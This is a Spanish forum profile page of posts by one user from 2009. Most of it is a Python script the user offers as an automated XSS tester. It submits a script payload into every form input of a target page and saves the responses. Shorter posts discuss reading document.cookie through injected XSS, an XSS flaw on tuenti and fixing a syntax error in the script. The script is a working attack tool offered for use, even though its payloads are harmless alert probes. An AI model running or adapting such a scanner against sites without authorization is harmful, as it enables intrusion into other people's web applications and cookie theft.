Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - braulio--

#401
Pero hiciste que ese formulario fuera vulnerable?
#402
A mi la resolución de nombres si me funciona.
El resultado 0.html es lo que devolvió la web cuando se mandaron las variables con los payloads.
#403
Cita de: tragantras en  7 Diciembre 2009, 21:03 PM
python xss.py http://localhost/index.php 
File "xss.py", line 23
    return url[0:url[7:].find('/') 7]
                                   ^
SyntaxError: invalid syntax


algo anda mal o soy yo? :S
Ya lo he modificado y debería funcionar, misteriosamente  no se copiaron algunos símbolos.:¬¬
#404
Bueno, la he hecho esta mañana, os la pongo para que los que no sepan mucho vayan aprendiendo y ya la iré mejorando.
Lo que hace es que le pasas como argumento la página que quieres "XSSar" y va probando el payload que le hayas puesto en todos los inputs y te guarda los resultados. Es bastante inestable.
Código (python) [Seleccionar]

#!/usr/bin/python
import urllib2,urllib,sys,string
from HTMLParser import HTMLParser
class parsearhtml(HTMLParser):
   formactual = -1
   atributosform = []
   atributosinput = []
   def handle_starttag(self, tag, attrs):
     atributosform = {}
     atributosinput = {}
     if tag=="form":
       for i in range(len(attrs)):
         atributosform[attrs[i][0]] = attrs[i][1]
       self.atributosform.append(atributosform)
       self.atributosinput.append([])
       self.formactual+=1
     if tag=="input":
       for i in range(len(attrs)):
         atributosinput[attrs[i][0]] = attrs[i][1]
       self.atributosinput[self.formactual].append(atributosinput)
def obtenerhost(url): #Funcion que obtiene el host
  if url[0:7]=='http://':
    return url[0:url[7:].find('/')+7]
  if url[0:8]=='https://':
    return url[0:url[8:].find('/')+8]
  return url
def obtenercarpeta(url): #Obtiene la carpeta en la que esta guardado el archivo...
  i = len(url)-1
  while i!=0:
    if url[i]=='/': return url[:i+1]
    i-=1
  return url
def obtenerruta(action): #Funcion que obtiene la direccion a la cual mandar las variables
  global host,carpeta
  if action.find('http://')!=-1 or action.find('https://')!=-1:
    return action
  if action[0]=='/':
    return host+action
  else :
    return carpeta+action
url = sys.argv[1]
host = obtenerhost(url)
carpeta =  obtenercarpeta(url)
#Variables de localizacion
useragent = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5"
cabeceras = { "User-Agent" : useragent }
code = urllib2.urlopen(url).read()
print "Codigo de la pagina obtenido ..."
try :
parser = parsearhtml()
parser.feed(code) # Ha recogido todos los forms y los inputs
except :
print "Hubo un error parseando el HTML"
#Ya tengo todos los datos necesarios
print "Datos obtenidos ..."
payloads = ['<h1>Payload</h1>','<script>alert(/HOLA/);</script>'] # Payloads de XSS
atributosform = parser.atributosform
atributosinput = parser.atributosinput
if len(atributosform)==0: print "No se encontraron forms"
for indice in range(len(atributosform)):
  #Se obtiene la direccion a la que mandar los datos
  print "Obteniendo direccion a la que mandar los datos... "
  if atributosform[indice].has_key('action'):
    urlamandar = obtenerruta(atributosform[indice]['action'])
  else:
    urlamandar = url
  #Se empiezan a rellenar las variables con los payloads correspondientes...
  maliciousdata = {}
  print "Rellenando con los payloads las variables ..."
  for varinput in atributosinput[indice]:
    if varinput.has_key('name'):
      maliciousdata[varinput['name']] = payloads[1]
  maliciousdata = urllib.urlencode(maliciousdata)
  req = urllib2.Request(urlamandar,maliciousdata,headers = cabeceras)
  codeinfectado = urllib2.urlopen(req).read()
  print "Escribiendo el archivo ",str(indice)+".html"
  resultado = open(str(indice)+'.html','w')
  resultado.write(codeinfectado)
 
Le podéis modificar facilmente el user-agent y el payload.
Uso :

python xss.py http://localhost/xss.php
#405
Nivel Web / Re: Ayuda, logear en phpmyadmin
7 Diciembre 2009, 17:22 PM
No, por que lo que haces es usar javascript para acceder a elementos de la página en la que inyectas el código XSS en este caso accedes a document.cookie, donde está guardada la cookie que se usa para esa página.
#407
Nivel Web / Re: ENHORABUENA SIMPLEAUDIT
2 Diciembre 2009, 22:59 PM
Podríamos repetir esto con otros CMS no? (cuando acabemos con este)
#408
Nivel Web / Re: Vulnerabilidad XSS en tuenti.
29 Noviembre 2009, 17:56 PM
Cuando lo mandas tu si, pero al otro se le manda modificado.
#409
Pues ... ya va siendo el momento de que alguien la haga no? :xD
#410
Oh! Es verdad! Cambiando..